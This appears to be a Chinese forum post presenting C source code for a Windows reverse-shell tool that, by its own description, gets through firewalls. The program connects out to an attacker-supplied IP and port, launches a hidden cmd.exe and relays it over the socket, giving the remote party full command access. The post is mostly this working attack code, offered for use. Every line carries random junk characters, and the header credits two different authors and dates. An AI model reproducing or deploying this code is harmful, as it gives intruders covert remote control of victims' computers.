Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 uf>w*[m5  
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/* ============================== ;C{_T:LS  
Rebound port in Windows NT *AA1e}R{B  
By wind,2006/7 #rC/y0niH  
===============================*/ \bsm#vY,  
#include ibAA:I,d  
#include d{trO;%#f  
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#pragma comment(lib,"wsock32.lib") wS^-o  
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void OutputShell(); T*ic?!  
SOCKET sClient; c"$_V[m  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A+l"  
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void main(int argc,char **argv) A^Zs?<C-  
{ &p%ctg  
WSADATA stWsaData; K@,VR3y /  
int nRet; V&nN/CF  
SOCKADDR_IN stSaiClient,stSaiServer; .=FJ5?:4i%  
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if(argc != 3) z7_./ksQ  
{ jl@8pO$  
printf("Useage:\n\rRebound DestIP DestPort\n"); <>:kAT,sP  
return; M@K[i*e  
} 5a~1RL  
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WSAStartup(MAKEWORD(2,2),&stWsaData); \wCL)t.cX  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =e+go ]87x  
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stSaiClient.sin_family = AF_INET; `Qhh{  
stSaiClient.sin_port = htons(0); k$2Y)   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6GN'rVr!Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ] QEw\4M?=  
{ c9[5)  
printf("Bind Socket Failed!\n"); =3:ltI.'*I  
return; 6{~I7!m"  
} f1{ckHAY55  
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stSaiServer.sin_family = AF_INET; 0#7dm9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r__M1 !3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %Fv)$ :b  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #n"/9%35f`  
{ 6xe |L  
printf("Connect Error!"); ep!.kA=\  
return; (`p(c;"*C!  
} /$=^0v+  
OutputShell(); zyr6Tv61U  
} 9s)oC$\  
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void OutputShell() |(<L!6  
{ WToAT;d2h  
char szBuff[1024]; ]*|K8&jxl  
SECURITY_ATTRIBUTES stSecurityAttributes; ||4Dtg K  
OSVERSIONINFO stOsversionInfo; h]#)41y<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5ZVTI,4K  
STARTUPINFO stStartupInfo; k.ZfjX"  
char *szShell; &g!/@*[Nhh  
PROCESS_INFORMATION stProcessInformation; C0%%
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unsigned long lBytesRead; ?2TH("hV$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #O WSy'Qnt  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gg(U}L ]:  
stSecurityAttributes.lpSecurityDescriptor = 0; #<o#kJL  
stSecurityAttributes.bInheritHandle = TRUE; K?4(ou  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qo;\dp1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8(}sZ)6  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TRZ^$<AG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vF&b|V+,  
stStartupInfo.wShowWindow = SW_HIDE; Nz;;X\GI  
stStartupInfo.hStdInput = hReadPipe; c0 |p34  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UVK"%kW#(  
g&>Hy!v,  
GetVersionEx(&stOsversionInfo); g8Z14'Ke  
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switch(stOsversionInfo.dwPlatformId)  Z-@}~#E  
{ o[#a}5Y  
case 1: >gl.(b25C  
szShell = "command.com"; `cpcO  
break; B/OO$=>(  
default: V1.F`3h~  
szShell = "cmd.exe"; x8Sq+BY  
break; G$ FBx  
} 7;NV 1RV  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u*{ _WL[(  
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send(sClient,szMsg,77,0); (Y([^N q  
while(1) }Kt?0  
{ %5%Wo(W'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wY#mL1dF  
if(lBytesRead) Bv8C_-lV/  
{ VaxO L61xE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d]EvC>  
send(sClient,szBuff,lBytesRead,0); .TC `\mV  
} sd53 _sV  
else R6;>RRU_  
{ Ef.4.iDJrR  
lBytesRead=recv(sClient,szBuff,1024,0); fXe-U='  
if(lBytesRead<=0) break; ak`)>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gf?^yP ;V  
} wVDB?gy%#  
} : qRT9n$  
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return; NrcCUZ .:N  
}